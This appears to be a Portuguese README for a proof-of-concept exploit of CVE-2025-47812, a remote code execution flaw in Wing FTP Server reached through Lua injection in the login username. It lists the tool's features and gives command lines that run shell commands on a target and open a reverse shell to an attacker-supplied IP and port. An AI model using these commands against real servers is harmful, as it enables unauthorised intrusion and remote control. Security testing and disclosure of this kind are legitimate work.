CVE-2025-47812 - Exploit RCE do Wing FTP Server

Este repositório fornece um exploit de prova de conceito para CVE-2025-47812, uma vulnerabilidade de execução remota de comandos (RCE) no Wing FTP Server. Um atacante pode injetar e executar comandos arbitrários do sistema baseados em Lua abusando do parâmetro username durante a autenticação, resultando em execução remota total de código.

📌 Funcionalidades do Exploit

• 🔧 Execução remota de comandos shell personalizados
• 🧬 Múltiplos payloads de reverse shell embutidos (bash, Python, netcat, etc.)
• 🪪 Extração automática de UID do Set-Cookie
• 📦 Registra UIDs bem-sucedidos em found_uids.txt
• 🧪 Modo dry-run (nenhuma requisição é enviada — teste sua lógica de entrada/saída com segurança)
• 🔁 Lógica de repetição em falha de rede
• 🧹 Formatação mais limpa do payload e saída legível
• ✅ Validação de entrada para IPs, portas e URLs
• ⚙️ Suporte a argumentos de linha de comando para fluxos de trabalho automatizados

💻 Uso

Execute um comando shell simples:

python3 CVE-2025-47812.py --url http://target:5466 --cmd "id"

Dispare um reverse shell:

python3 CVE-2025-47812.py --url http://target:5466 --reverse --ip YOUR_IP --port 4444

Modo dry-run (nenhuma requisição será enviada):

python3 CVE-2025-47812.py --url http://target:5466 --cmd "whoami" --dry-run

🔄 Alterações Feitas no Exploit Original

⚠️ Aviso Legal

Este projeto é destinado apenas para testes de segurança educacionais e autorizados.
Não use esta ferramenta contra sistemas que você não possui ou para os quais não tem permissão explícita para testar.